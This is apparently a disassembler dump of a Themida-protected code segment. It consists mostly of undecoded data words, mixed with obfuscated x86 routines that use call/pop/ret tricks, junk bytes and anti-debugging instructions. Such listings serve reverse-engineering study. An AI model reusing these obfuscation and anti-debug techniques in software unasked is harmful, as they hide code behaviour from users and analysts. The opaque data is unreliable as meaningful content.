5835871Fh, 84913D7Eh dd 9924B351h, 51FD95EDh, 4385AFCh, 0BA97E9D2h, 8A579F1Ch dd 6CC4704Dh, 3C5D33Dh, 1C000000h, 0CA127DE4h, 9A3C49F5h dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h dd 884A5703h, 597A8733h, 5733B864h, 0C7815F54h, 4, 8704EF83h dd 575C243Ch, 0C781E789h, 4, 8704EF83h, 895C243Ch, 0EC812414h dd 4, 68240C89h, 61C0EA7h, 8124148Bh, 4C4h, 4EC8300h, 81242489h dd 42404h dd 68590000h, 36D6h, 89243C89h, 87989D7h, 2434FF5Fh, 4C48159h dd 0FF000000h, 835A2434h, 0D0E904C4h, 0E8FFF85Fh, 1EA98DA3h dd 6A63366Eh, 0E3BAAB6Ah, 1DE4B87Ch, 0C503061Ch, 41BCE0FFh dd 0E30E593Ah, 42E154F6h, 9BA73F7Ch, 438D4474h, 45854AAFh dd 9830546Ah, 0AA631025h, 3EBC1808h, 0BA575AD6h, 0C11F295Fh dd 51676115h, 0D03693Bh, 22406168h, 0EE173286h, 455B25CEh dd 0BCD6285Bh, 6A9129CFh, 94D85A63h, 8F4E7C10h, 5F3C7ED3h dd 4C2125CEh, 0AE52643Bh, 957A16A6h, 2A4D30FEh, 2021A5Bh dd 926D3CB3h, 6661362h, 0BD16750Ah, 8D8D29B7h, 61C1F8Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3BC35040h dd 4965D0C9h, 1DA1858Bh, 81660614h, 890BAFC3h, 1432298Dh dd 21858B06h, 0E906142Fh, 8, 0E0D912BEh, 0B4C7A74Bh, 64D85C7h dd 6E080614h, 0DF810000h, 65394F18h, 267185C7h, 614h, 870F0000h dd 5, 0DBBF0F60h, 91B5FF61h, 8B06142Eh, 141C2595h, 6195FF06h dd 0E8061423h, 0Eh, 0EC3BF1C4h, 9C7B1918h, 0F6B5DEBBh dd 13E96376h, 0B7000000h, 21FD57BAh, 5D3A03C1h, 0F8AF6168h dd 402ABE9Bh, 6A5F78F4h, 6995FF00h, 8B061411h, 130BEBC0h dd 0EF2F45D5h, 0CDEE79FFh, 8D8D755Fh, 61C209Fh, 1D218D89h dd 8D890614h, 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0FFC35242h, 5000BE51h, 67039C63h, 4D85C7A7h dd 84061406h, 6A000058h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0B804C351h, 16558D09h dd 85C70614h, 6142671h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CABF7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CABF7 proc near ; CODE XREF: Themida_:005CABEFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5CABF7 endp ; --------------------------------------------------------------------------- db 0BBh dd 4FA64F72h, 6F7B428Ah, 0C4DB5FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 27665CC3h dd 6F2A470Bh, 880F6053h, 5, 0F9C28166h, 0AAC88175h, 613CC76Dh dd 236195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 50DD1BC3h, 8FD05366h, 6AAEB82Dh dd 6995FF00h ; --------------------------------------------------------------------------- loc_5CAC7C: ; DATA XREF: Themida_:0054A234o ; Themida_:0054A900o adc [esi+eax], edx mov eax, eax jmp short loc_5CACCD ; --------------------------------------------------------------------------- align 4 db 0FCh ; --------------------------------------------------------------------------- loc_5CAC85: ; CODE XREF: Themida_:005CAC86j icebp jecxz short loc_5CAC85 push ebp ; --------------------------------------------------------------------------- db 0FEh, 9Bh, 74h dd 5793B41Ah, 4D796C5Ch, 867437FFh, 0E3F2FE1Ah, 185F7AB4h dd 0FC7FA312h, 5C22EBAh, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh dd 4293718Eh, 0C83402EAh, 1AE5B0B5h, 933DA21Bh, 0D394EE0Eh dd 0D6CC0D2Fh db 0CCh ; --------------------------------------------------------------------------- loc_5CACCD: ; CODE XREF: Themida_:005CAC81j jmp loc_5CACE3 ; --------------------------------------------------------------------------- dw 0CA3Dh dd 272h, 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5CACE3: ; CODE XREF: Themida_:loc_5CACCDj jmp loc_5CB276 ; --------------------------------------------------------------------------- dd 0ACFEC11Bh, 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h dd 8B4C6454h, 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h dd 0E09876Dh, 39A09B58h, 4BF7C412h, 0DC24993Eh, 6EA89305h dd 1E4D5055h, 66A5310Eh, 0F2977A60h, 26B18E51h, 0FB93EB97h dd 0D8AFB763h, 0A57F6DA6h, 0C1CCFB73h, 0EDFAA615h, 0B52BD7E6h dd 0F606D09Dh, 3F9C7447h, 0F827BFFDh, 8650E4A6h, 0D206E335h dd 0FBD8A5EDh, 0EC641D03h, 0CC6459C4h, 28B08D9Dh, 0F3DEEB97h dd 0FF36C411h, 5BFF74CEh, 546B17AFh, 0FAEAD939h, 66FE968Fh dd 6A50561Eh, 7E51F245h, 68BD2756h, 687084C6h, 0AE280557h dd 0F7FDC50Dh, 51F24511h, 64CEFD25h, 0F2453B1Eh, 0E7A3B751h dd 0ED9479ECh, 6185FEh, 179C0000h, 913CF040h, 5483B565h dd 822E8D49h, 0F254583Ch, 80C2D651h, 0ED855A0Bh, 1A4FEh dd 12BB0000h, 4350FCC1h, 74812D90h, 9FAC5861h, 0D1D98538h dd 0F1E7E5CBh, 84D1F951h, 0A9BF6B54h, 2EE4C585h, 72FF3F16h dd 1E754690h, 6190A270h, 1AB9730Fh, 627451A3h, 8E441159h dd 0C6F7E02Dh, 12CE8797h, 444CF8C5h, 6B3D806Dh, 4FA75366h dd 59D259F8h, 9B41F2Ah, 0CB87EB5Dh, 0CF17A631h, 3DE9D602h dd 0C9A6B6E5h, 8F66AE0Dh, 37AF4C76h, 0D43E6DADh, 4B00BC7h dd 33DFDAF7h, 555BB026h, 51F21C6Fh, 17C35B83h, 5E43FFE3h dd 0DFF4C197h, 3D5DAFDEh, 0EDBBCFA6h, 874FFEh, 12660000h dd 3F4CF8C5h, 9E02893h, 3BD65C3Bh, 1E88B708h, 0EE0644A8h dd 0BF8CD4E9h, 6676A518h, 0C36F4E89h, 0EE9A1FB6h, 1AC6F5E1h dd 4AF6C50Dh, 6F721034h, 35C486A8h, 0A04C6D68h, 0C8AD1948h dd 56FEED18h, 62h, 7E3774Eh, 0F811A802h, 0C512E2C9h, 993F4CF8h dd 666D7A26h, 399EAB57h, 5EA03784h, 0A388E7BBh, 0BF6B0310h dd 439926B2h, 0A7E631Fh, 0FED56426h, 0DB51CEB0h, 7A43901Bh dd 0AFDE76CEh, 388A33A4h, 0FCC1127Fh, 0E8270A50h, 8FA351F1h dd 0F18DD8F3h, 0B71FEEDh, 69000000h, 0F3B59BA1h, 0A1C951F1h dd 0C0128B72h, 0E5EBB3FBh, 51F1E7FFh, 0C7734C8Ch, 5281A96Fh dd 0C0FBDBE8h, 2CCE0714h, 1B4632E5h, 731FB74Fh, 9E4A6F66h dd 0E5C4866Ah, 0A82DFA50h, 0F290E211h, 5764723Fh, 6B51D28h dd 0D6E5F1BEh, 93A3D22Ah, 5DA549B7h, 0DB7A0686h, 114070A0h dd 0D2EE050Bh, 8C6457E5h, 6D2A086h, 0F48CB458h, 209B3B48h dd 0D6E5F1CEh, 0D300E42Ah, 7E625806h, 0DAE28DCh, 11F7FDC5h dd 255806D3h, 0E6BECEFDh, 8D4BBF19h, 962E8632h, 8C7A5C67h dd 6EC6724Bh, 0D33A2026h, 264E5806h, 5879468Eh, 0FEBF1461h dd 7E5865CFh, 4E84913Dh, 23B4C16Dh, 0F1E1EE9Ah, 10C61ECAh dd 590BEEACh, 0DCA455F5h, 6D2F0D6h, 8FDC0458h, 75CD7944h dd 209B3B46h, 0AE29F6CEh, 0F174E00Fh, 0DF8D906h, 12Dh dd 0F9A51324h, 0B882DAB1h, 0B4A5ED5Fh, 1D4C1F9Bh, 0F625BDD9h dd 0B5B3EAF0h, 416957E5h, 15C08D95h, 71A0F8A4h, 34B7066h dd 0EF1E9B36h, 973A07DFh, 0EF1E7622h, 1DC9F2E4h, 61474D15h dd 755806B6h, 0E9D2004Dh, 9427AFBAh, 701276E8h, 4FA11ABCh dd 0D9235411h, 3CAAF8h, 13C10000h, 0E3B0F8A6h, 9399C8F3h dd 0E6D3FECBh, 6FB3E23Ah, 0D1F1E7A9h, 360D557Dh, 116D01F4h dd 0F6608FF3h, 0F193CAB0h, 682A4ED1h, 72BA68D5h, 0F194A66Ch dd 527A51h, 9822h, 0A5137900h, 0F0ABB1F9h, 1C57E510h, 8C38834Fh dd 0A9810534h, 5F0BDA3h, 0F3F9D158h, 5805F10Dh, 0C961F921h dd 474D151Dh, 5805F161h, 7F409875h, 7E3B9AE7h, 2992444Fh dd 0DFDCFAD7h, 0E3C9CF97h, 705805F0h, 54AC5861h, 0CD37668Eh dd 5F1A687h, 0EAD2958h, 1A954B62h, 9E59974h, 0F7A31CBCh dd 5F4200A2h, 0B14B07EBh, 68449625h, 80E56FAh, 5E018633h dd 0E8B5FD25h, 39A3D2EBh, 6511AA2Ch, 1D2C6E10h, 0AA2FC946h dd 38674E4Bh, 0C810C02Eh, 1D31EDC2h, 65B7DF64h, 0F9A513ACh dd 8D6ABB1h, 0A0C857EDh, 17EFE7F4h, 0F74FFBBEh, 0A6300D5Fh dd 0B6C8FD56h, 6E0657AAh, 91785926h, 0E9EA58Bh, 0F991B958h dd 5CC6F54Dh, 3BAC4316h, 0BDDD415Ah, 2578B58Ch, 0D46CD4F9h dd 7F3C9AA5h, 8086502Dh, 0B6BE6A53h, 7D5ACAB0h, 1EB6DE5Ch dd 8CDDA86h, 9BA169B1h, 5C7D5AB5h, 0D0E9ECC9h, 929F0938h dd 0BECB7744h, 0F4FCA815h, 7D5B08EEh, 9EF41C5Ch, 2329D87Ah dd 5C7D5B3Dh, 0FC912951h, 3C09385Ah, 0E9F4239Ch, 0A47CCEEDh dd 5AF0D6DCh, 0DC045C7Dh, 8734A2ADh, 3CDDBh, 0E4240000h dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0B76833B8h dd 89000062h, 0E589242Ch, 4C581h, 0ED830000h, 242C8704h dd 0E289525Ch, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h dd 0AAh, 53241C89h, 9B624468h, 0EB815B13h, 0D7F413Bh, 545B5A53h dd 81241C8Bh, 4C4h, 458D6800h, 14890000h, 8438F24h, 50241C8Bh dd 405E089h, 5000000h, 4, 5C240487h, 5624148Bh, 0C681E689h dd 4, 8704C683h, 0E95C2434h, 0FFF8578Bh ; --------------------------------------------------------------------------- mov esi, gs loc_5CB276: ; CODE XREF: Themida_:loc_5CACE3j mov eax, 61C260Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F8h dd 0B242A1B1h, 85269193h, 0EF32F88Ah, 75583047h, 0E42270D3h dd 31738D9Ch, 8111E954h, 8B13C8ADh, 0DE3E3E97h, 524E324h dd 8D5AC716h, 1C27B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8A84916Ah, 5BB866E7h dd 298D894Ah, 6A061432h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 4587C352h, 13ADEE19h dd 858BEC28h, 6142C41h, 64D85C7h, 62100614h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 9035E2C3h, 85C71956h, 6142671h, 0 ; --------------------------------------------------------------------------- call sub_5CB344 xchg esi, [eax+33D792A7h] push es ; =============== S U B R O U T I N E ======================================= sub_5CB344 proc near ; CODE XREF: Themida_:005CB338p mov [ebp+6142179h], esi pop ebx push dword ptr [ebp+61414ADh] push 0 push esi call sub_5CB35C and [esi-3Dh], bl sub_5CB344 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CB35C proc near ; CODE XREF: sub_5CB344+10p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5CB35C endp ; --------------------------------------------------------------------------- dec esi db 2Eh push cs jmp loc_5CB382 ; --------------------------------------------------------------------------- dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h db 0C4h, 65h ; --------------------------------------------------------------------------- loc_5CB382: ; CODE XREF: Themida_:005CB36Fj call dword ptr [ebp+6142361h] mov [ebp+61402B5h], esi push 0 call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_5CB416 ; --------------------------------------------------------------------------- sbb al, bl push ebx lahf nop adc [eax], cl ja short loc_5CB40F or dl, dl retn ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 49h dd 0AE67C4F7h, 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh dd 0D162FF12h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h dd 0BFFF05FDh, 0E17FFE51h, 0A4A2C0E6h, 299FA25Dh, 6B48032Fh dd 0AE3DBFBBh, 6DA2ABB2h, 0F032F306h, 55D9A1C3h, 77C908F2h dd 0DA37E577h, 516A38DBh, 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh ; --------------------------------------------------------------------------- jb short loc_5CB471 push es loc_5CB40F: ; CODE XREF: Themida_:005CB3A1j cdq wait ; --------------------------------------------------------------------------- db 69h, 0EBh, 98h db 0, 0AAh ; --------------------------------------------------------------------------- loc_5CB416: ; CODE XREF: Themida_:005CB398j call near ptr loc_5CB42C+1 sbb al, ah nop imul esp, [ebx-79AC039Ah], 3Fh add [ebx], cl sahf out dx, al db 64h push es inc esp loc_5CB42C: ; CODE XREF: Themida_:loc_5CB416p mov ah, [esi-75h] icebp pop edx mov edi, 7F3CED3Bh add edx, 655Fh mov esi, [ebp+61402F1h] mov ecx, 1914h jmp loc_5CB45B ; --------------------------------------------------------------------------- dd 7821A297h, 0D38CD15Bh, 963DB767h db 0Bh, 64h, 8Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CB4D0 loc_5CB45B: ; CODE XREF: Themida_:005CB447j ; sub_5CB4D0+45j push dword ptr [edx] pop ebx mov esi, [ebp+614319Dh] xor ebx, 36BF63F2h jmp loc_5CB47B ; END OF FUNCTION CHUNK FOR sub_5CB4D0 ; --------------------------------------------------------------------------- db 67h db 6Bh ; --------------------------------------------------------------------------- loc_5CB471: ; CODE XREF: Themida_:005CB40Cj cwde cmp ch, 0E4h cmp [ebp+edi*8+8], edi ; --------------------------------------------------------------------------- db 0BAh, 22h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CB4D0 loc_5CB47B: ; CODE XREF: sub_5CB4D0-66j add ebx, 3BA3925Dh jnp loc_5CB48D jnp $+6 loc_5CB48D: ; CODE XREF: sub_5CB4D0-4Fj sub ebx, 37C82010h sub si, 2B21h push ebx jmp loc_5CB4AC ; END OF FUNCTION CHUNK FOR sub_5CB4D0 ; --------------------------------------------------------------------------- dw 0BC76h dd 0FB0D2C78h, 41CB3B16h, 6E5D3874h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CB4D0 loc_5CB4AC: ; CODE XREF: sub_5CB4D0-37j pop dword ptr [edx] mov edi, [ebp+6142115h] sub edx, 2B4A620Dh call sub_5CB4D0 xor esi, ebp adc [ebx+5173716Eh], esi dec edx mov ebp, 953F815Dh and [ebp+32h], bh ; END OF FUNCTION CHUNK FOR sub_5CB4D0 ; =============== S U B R O U T I N E ======================================= sub_5CB4D0 proc near ; CODE XREF: sub_5CB4D0-16p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005CB45B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005CB47B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005CB4AC SIZE 00000024 BYTES mov edi, [ebp+61412E9h] pop eax add edx, 2B4A6209h jmp loc_5CB4E7 ; --------------------------------------------------------------------------- dw 7FAEh ; --------------------------------------------------------------------------- shr dword ptr [eax-3Bh], 1 loc_5CB4E7: ; CODE XREF: sub_5CB4D0+Dj sub ecx, 1 jnz loc_5CB50F mov di, dx jmp loc_5CB52E ; --------------------------------------------------------------------------- db 0F5h dd 969871C5h, 990151B8h, 259D519Ch, 26D266Bh db 4Dh, 9Ah, 22h ; --------------------------------------------------------------------------- loc_5CB50F: ; CODE XREF: sub_5CB4D0+1Dj mov [ebp+61408C5h], ebx jmp loc_5CB45B ; --------------------------------------------------------------------------- dw 0CE56h dd 9F797EA1h, 0B2A57066h, 6B632D90h, 9C219E94h db 99h, 0A1h ; --------------------------------------------------------------------------- loc_5CB52E: ; CODE XREF: sub_5CB4D0+26j jmp loc_5CB554 ; --------------------------------------------------------------------------- db 0EAh dd offset dword_4DE000+284h dd 7 dup(0) ; --------------------------------------------------------------------------- loc_5CB554: ; CODE XREF: sub_5CB4D0:loc_5CB52Ej jmp loc_5CBAD3 ; --------------------------------------------------------------------------- db 8Ch, 50h, 6Fh dd 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h, 0BDF3C5FEh dd 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h, 10F8DEE4h dd 110C580Eh, 894A17AAh, 0E7987E84h, 84AC51F1h, 84379FECh dd 2F8C4A55h, 5C617683h, 0CF5B320Ah, 0D8C8AE0Eh, 47ABEA99h dd 0EC841F2Ch, 0DA760795h, 0FA296089h, 28D4E7EFh, 5400BB1Bh dd 85318C47h, 55EFAB0Fh, 0BE83A81h, 0C3A0F2CDh, 0F6FEAA15h dd 7573AC1Fh, 91EAECF7h, 9CDA3186h, 8CF1C22h, 567B86B5h dd 0C062B763h, 516E6A82h, 219A3C09h, 0D105E2F2h, 15F83EEAh dd 9151F2AAh, 15FB01C9h, 2951F2AAh, 40E0AA01h, 12BEB641h dd 0DAF191E3h, 0FEED908Bh, 7873h, 0C4128A00h, 21054BF7h dd 0AA51F1E8h, 0D8E5912Eh, 16C2FBh, 0E33BBEDCh, 82874E1Bh dd 0F1E7967Ch, 0EA82AA51h, 19A0313Eh, 1BA43481h, 0E3F89AECh dd 0FEEDF182h, 17Ch, 0C1129300h, 904350FCh, 0AC79812Dh dd 91E99526h, 3B7E5762h, 3401198Fh, 156D19A2h, 0E7E1C7CDh dd 0CDF551F1h, 0F60E4C9Eh, 12AD2BDDh, 8350287Ah, 0B451AA54h dd 0A7A37BB2h, 0DC0B630Fh, 64B605D1h, 0F8C512ABh, 0B5DCD9B0h dd 0B81D289Dh, 0C1121F89h, 8E4350FCh, 65727F2Bh, 0D63AAC58h dd 645580B4h, 16C860B8h, 7B5C90B2h, 0C313F042h, 933F4CF8h dd 0D3F57C28h, 1B591CB7h, 0AFC5FEEDh, 0DC000000h, 2F8C4A17h dd 0FADE2B83h, 4C8B96C5h, 1AB8C571h, 0C4EFE7E2h, 4C858AEAh dd 0D169C16Dh, 2329F139h, 51F23E3Dh, 90FA2951h, 0B4BA5583h dd 51F23DCEh, 7622BAE2h, 0A5516869h, 0ECCD8D71h, 7CB0D236h dd 3810625Bh, 204F6A6Bh, 4FFBC215h, 5E5B7A47h, 49F5C411h dd 1EB7C2F1h, 4668EF9Bh, 99E68F04h, 6838FEEDh, 30000000h dd 1D4C6F63h, 48C51236h, 0B864577Bh, 0E7F4DA60h, 0E00851F1h dd 0BD949C48h, 0C2C88428h, 51F242DCh, 0E171C8F0h, 7177BF30h dd 51F2B68Bh, 3D48779Fh, 54676F9Bh, 0B720060Ch, 0C3451F2h dd 0B094C874h, 407D5A92h, 0C11235EEh, 932B8E47h, 0E7BEA1E7h dd 723A51F1h, 0E38F2EA5h, 480A5C8Bh, 0EDF21253h, 1ECFEh dd 12030000h, 424FFBC0h, 0B4406894h, 0CC7B3C21h, 91338834h dd 727840F1h, 51F29C8Ch, 9D32181Eh, 1E4651F2h, 65587B58h dd 655680CDh, 5FA72B36h, 5AAC4477h, 1860107Eh, 7C828D4Bh dd 51F29C96h, 3EEA82AAh, 0ABB1B7E6h, 57E5B794h, 2E36E20Ah dd 99457461h, 0D9E2F441h, 9BA6D52Dh, 512E803Bh, 21EE3685h dd 35B07B6h, 40246AD4h, 0A25806B8h, 6E689CBEh, 5623FB4Dh dd 79903C81h, 0B9B9A138h, 305FF76Ch, 8D5AB125h, 73CB7746h dd 6B407EDh, 3D431B58h, 5806B457h, 13AB436Bh, 3F7C5A67h dd 9DBD2193h, 0FA4C6F67h, 6E545A22h, 825806B4h, 0A6BF2B5Ah dd 58F8D925h, 14Ch, 44A5136Fh, 29812D8Eh, 0C434991h, 0C257E50Eh dd 19E6EE9Ah, 0C8D302B9h, 8E65AD0Eh, 0D9ED7534h, 8898C72Eh dd 15D12BABh, 5EC3D4DCh, 0AC83CB63h, 7C7D3E9Ch, 0AB15445Fh dd 9CE389Eh, 0FE701CB4h, 9244F89Ah, 0CC99D729h, 32F8D9D5h dd 66h, 43A61349h, 707D2994h, 29C15962h, 854C19E1h, 0FBC10534h dd 0CFD1F1E7h, 0F8885FA7h, 8B32318h, 0A1AD045Ch, 66D0FFE0h dd 0F2683A20h, 0F89ABED1h, 0B15A7C49h, 0F267C5ABh, 19B1D9D1h dd 0DC8156Dh, 79A800ACh, 0A6AC026Fh, 0D1F267C0h, 0CC14ACD4h dd 0F26800C6h, 0F6FCD451h, 51F26810h, 1264FC24h, 9734h dd 0A5138B00h, 0F0ABB1F9h, 1C57E510h, 0C7F22A45h, 3683DA2Dh dd 69ED1CA1h, 2B31F941h, 58067D45h, 957B8159h, 0A958067Ch dd 50BAE981h, 0D6289343h, 32DEDDF9h, 67E0BECh, 0C7836758h dd 7E646A32h, 9258067Eh, 0A6303B6Ah, 0D100CD15h, 83369BE8h dd 0A46C4454h, 67DB89Eh, 75A4CC58h, 951FD6Bh, 0F726973Ch dd 0C6B5EBF1h, 41695E01h, 15C08D95h, 71A0F8A4h, 9F4B7066h dd 53EAA84Ah, 0EBF139E5h, 641DEFB5h, 734110E7h, 94BE74A2h dd 67B9E165h, 0A714C28Fh, 8D74A3FBh, 0B1F9A513h, 0ED3075ABh dd 0FCDAA757h, 0BDC52400h, 42DAA646h, 8B0F3E96h, 0F3E325AEh dd 2C8430C8h, 0FBDBE894h, 27AB78C0h, 6190E894h, 26AC7951h dd 2E8F4895h, 0D9E2F4FFh, 0F61EE72Dh, 94F823AAh, 23983EF6h dd 29E2F4D1h, 0D6755B61h, 6189A40Ch, 0CD5F5DBh, 99E109A4h dd 0CD5AD93h, 199C1A4h, 58804D55h, 0A82D3867h, 6E106511h dd 0FDBE182Ch, 0B308CEABh, 3F907h, 0E4500000h, 0F5CA127Dh dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh dd 3B61F2Ch, 33884A57h, 64597A87h, 895133B8h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h, 4C1h dd 4E98300h, 5C240C87h ; --------------------------------------------------------------------------- mov [esp-4+arg_0], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push ebp mov ebp, 5ECA73D4h sub ebp, 268F78ABh sub ebp, 321ED1AFh mov ecx, ebp pop ebp push esp mov edi, [esp+0] add esp, 4 push 15F3h mov [esp+0], ecx pop dword ptr [edi+8] mov edi, [esp-4+arg_0] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp push [esp-4+arg_0] pop ecx add esp, 4 jmp loc_5509FF ; --------------------------------------------------------------------------- db 29h ; --------------------------------------------------------------------------- loc_5CBAD3: ; CODE XREF: sub_5CB4D0:loc_5CB554j mov eax, 61C2E6Bh add eax, ebp jmp eax sub_5CB4D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 36D8DC72h, 3B342C63h, 42458406h, 71C01299h, 3E47FF9Bh dd 129B4369h, 4CCB3FEBh, 3AD58298h, 67EC0100h, 5E9293AAh dd 1B2916E1h, 58E297ABh, 2318F1ABh, 189BFE5h, 20DB2BE3h dd 10B35351h, 10EBh, 3 dup(0) align 10h push 0 push edx call sub_5CBB3B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBB3B proc near ; CODE XREF: Themida_:005CBB33p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5CBB3B endp ; --------------------------------------------------------------------------- mov ch, 0B1h icebp sahf ja loc_5CBB5B add [ebp+6142B05h], edx loc_5CBB5B: ; CODE XREF: Themida_:005CBB4Fj cmp dword ptr [ebp+61430B1h], 0 jnz short loc_5CBB6D cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5CBB86 loc_5CBB6D: ; CODE XREF: Themida_:005CBB62j push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_5CBB86: ; CODE XREF: Themida_:005CBB6Bj cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5CBBA6 push eax push ebx mov eax, 42Dh mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_5CBBA6: ; CODE XREF: Themida_:005CBB8Dj push 0 push ecx call sub_5CBBB1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBBB1 proc near ; CODE XREF: Themida_:005CBBA9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CBBB1 endp ; --------------------------------------------------------------------------- db 74h, 29h, 8Dh ; --------------------------------------------------------------------------- xchg eax, ecx pop es adc al, 6 mov edx, [ebp+6141BEDh] mov eax, eax stc mov esi, [ebp+61422E5h] mov ecx, [ebp+61401B9h] push 0 push esi call sub_5CBBE8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBBE8 proc near ; CODE XREF: Themida_:005CBBE0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5CBBE8 endp ; --------------------------------------------------------------------------- lodsb inc ebx int 3 ; Trap to Debugger lodsb mov dx, 0A975h pusha add esi, [ebp+614217Dh] jge loc_5CBC11 mov dx, 4BCh loc_5CBC11: ; CODE XREF: Themida_:005CBC07j popa cmp ecx, 0 jz loc_5CBC84 push 0 push edx call sub_5CBC26 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBC26 proc near ; CODE XREF: Themida_:005CBC1Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CBC26 endp ; --------------------------------------------------------------------------- stosd xor eax, 25298D01h adc al, 6 mov edi, large fs:2Ch jnz loc_5CBC50 mov edx, 6A3F0B6Fh loc_5CBC50: ; CODE XREF: Themida_:005CBC45j mov esi, edi or edi, edi jz loc_5CBC84 push esi jnz loc_5CBC67 sub [ebp+6140CA1h], ebx loc_5CBC67: ; CODE XREF: Themida_:005CBC5Bj pop esi mov edi, [edi] xor [ebp+61425BDh], eax mov si, 0DF2Ch xor al, al or edx, [ebp+6140869h] rep stosb or [ebp+614321Dh], esi loc_5CBC84: ; CODE XREF: Themida_:005CBC15j ; Themida_:005CBC54j xor eax, 53504149h xor esi, [ebp+6143485h] mov byte ptr [ebp+6141A59h], 47h mov edx, [ebp+61402F1h] push 0A40295F1h add dword ptr [esp], 38D3F23Bh mov dl, al push dword ptr [ebp+6141AD1h] pusha jmp loc_5CBCCA ; --------------------------------------------------------------------------- dw 0A3E3h dd 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h, 0C4FFA4F4h db 2Fh, 0B4h ; --------------------------------------------------------------------------- loc_5CBCCA: ; CODE XREF: Themida_:005CBCB1j popa lea eax, [ebp+61780DBh] sub [ebp+6143225h], edi call eax sbb esi, 1FD409AFh mov [ebp+6140C91h], eax mov [ebp+6142415h], esi mov byte ptr [ebp+6141A59h], 53h mov edx, [ebp+61421B1h] push 277192B4h jmp loc_5CBD11 ; --------------------------------------------------------------------------- dw 791Eh dd 0A8C983FFh, 730F2D04h, 7BD81417h db 0Dh ; --------------------------------------------------------------------------- loc_5CBD11: ; CODE XREF: Themida_:005CBCFDj add dword ptr [esp], 6126D848h push 0 push eax call sub_5CBD23 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBD23 proc near ; CODE XREF: Themida_:005CBD1Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5CBD23 endp ; --------------------------------------------------------------------------- db 73h dd 4A9630Bh, 0FFD375DCh, 141AD1B5h, 0D38B6606h, 80DB858Dh dd 8D890617h, 6142369h, 0BA66D0FFh, 0F6070D6h, 8D8BFAB7h dd 6142431h, 6858D61h, 8B06173Eh, 258589D6h, 89061435h dd 142B3D9Dh, 0DEE68006h, 0FF6A206Ah, 352595FFh, 49350614h dd 0C7535041h, 1403D985h, 106h, 0FD85C700h, 61429h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0C552C355h, 764AD0A8h, 8589534Fh, 6140061h dd 0C995235Ah, 